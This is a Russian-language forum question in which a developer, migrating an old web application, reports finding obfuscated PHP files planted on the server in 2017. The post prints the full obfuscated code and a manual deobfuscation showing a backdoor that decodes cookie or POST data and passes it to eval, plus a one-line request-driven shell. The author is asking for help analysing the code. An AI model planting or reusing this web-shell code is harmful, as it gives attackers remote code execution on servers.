Клиенту требовалось перенести очень старое веб приложение с полетевшего сервера на хостинг. Занимаясь этим, обнаружил в папках проекта несколько скриптов с рандомными именами, типа 'kqf15q0s.php'. Их содержимое обфусцированно.
Содержимое подобного файла:
<?php
$fozepm = '_uHpc6v*okys\'4138riel#ngxtf0ad-b97m5';$xclzc = Array();$xclzc[] = $fozepm[29].$fozepm[14].$fozepm[26].$fozepm[33].$fozepm[26].$fozepm[14].$fozepm[4].$fozepm[16].$fozepm[30].$fozepm[15].$fozepm[5].$fozepm[29].$fozepm[31].$fozepm[30].$fozepm[13].$fozepm[19].$fozepm[27].$fozepm[35].$fozepm[30].$fozepm[16].$fozepm[26].$fozepm[5].$fozepm[27].$fozepm[30].$fozepm[35].$fozepm[26].$fozepm[13].$fozepm[32].$fozepm[19].$fozepm[35].$fozepm[5].$fozepm[16].$fozepm[5].$fozepm[29].$fozepm[26].$fozepm[29];$xclzc[] = $fozepm[2].$fozepm[7];$xclzc[] = $fozepm[21];$xclzc[] = $fozepm[4].$fozepm[8].$fozepm[1].$fozepm[22].$fozepm[25];$xclzc[] = $fozepm[11].$fozepm[25].$fozepm[17].$fozepm[0].$fozepm[17].$fozepm[19].$fozepm[3].$fozepm[19].$fozepm[28].$fozepm[25];$xclzc[] = $fozepm[19].$fozepm[24].$fozepm[3].$fozepm[20].$fozepm[8].$fozepm[29].$fozepm[19];$xclzc[] = $fozepm[11].$fozepm[1].$fozepm[31].$fozepm[11].$fozepm[25].$fozepm[17];$xclzc[] = $fozepm[28].$fozepm[17].$fozepm[17].$fozepm[28].$fozepm[10].$fozepm[0].$fozepm[34].$fozepm[19].$fozepm[17].$fozepm[23].$fozepm[19];$xclzc[] = $fozepm[11].$fozepm[25].$fozepm[17].$fozepm[20].$fozepm[19].$fozepm[22];$xclzc[] = $fozepm[3].$fozepm[28].$fozepm[4].$fozepm[9];foreach ($xclzc[7]($_COOKIE, $_POST) as $pmjvtha => $applpuv){function kagaipi($xclzc, $pmjvtha, $rvlwyfo){return $xclzc[6]($xclzc[4]($pmjvtha . $xclzc[0], ($rvlwyfo / $xclzc[8]($pmjvtha)) + 1), 0, $rvlwyfo);}function qpfmbb($xclzc, $nfqju){return @$xclzc[9]($xclzc[1], $nfqju);}function mdbqmci($xclzc, $nfqju){$etlcg = $xclzc[3]($nfqju) % 3;if (!$etlcg) {eval($nfqju[1]($nfqju[2]));exit();}}$applpuv = qpfmbb($xclzc, $applpuv);mdbqmci($xclzc, $xclzc[5]($xclzc[2], $applpuv ^ kagaipi($xclzc, $pmjvtha, $xclzc[8]($applpuv))));}
После ручной деобфускации:
<?php//fozepm
foreach(array_merge($_COOKIE, $_POST) as $key => $value)
{
function f_3($arg)
{
$res = count($arg) % 3;
if (!$res)
{
eval($arg[1]($arg[2]));
exit();
}
}
$value = @pack('H*', $value);
f_3(explode('#', $value ^
substr(
str_repeat(
$key . 'd1f7f1c8-36db-4e05-8f60-5f49e5686dfd',
(strlen($value) / strlen($key)) + 1
),
0,
strlen($value)
)
));
}
Залиты эти файлы были в 2017 году. Их два различных, обфусцированных одним способом, но в разные итоговые файлы. Код в них после деобфускации одинаковый, но GUIDы разные. Вопрос - что делает этот код и откуда он? Подозреваю, что это залитый после взлома скрипт для запуска на исполнение записанного в куки шелла, но разобрать его по винтикам не смог. Помимо запуска шелла он может делать что нибудь ещё?
upd: в одном из таких файлов, обнаружилась такая строчка, помещённая перед обфусцированным кодом:
$_REQUEST["aaf"]?$_REQUEST["aaf"]($_REQUEST["c"]):null;
Это уже похоже на чисто шелл.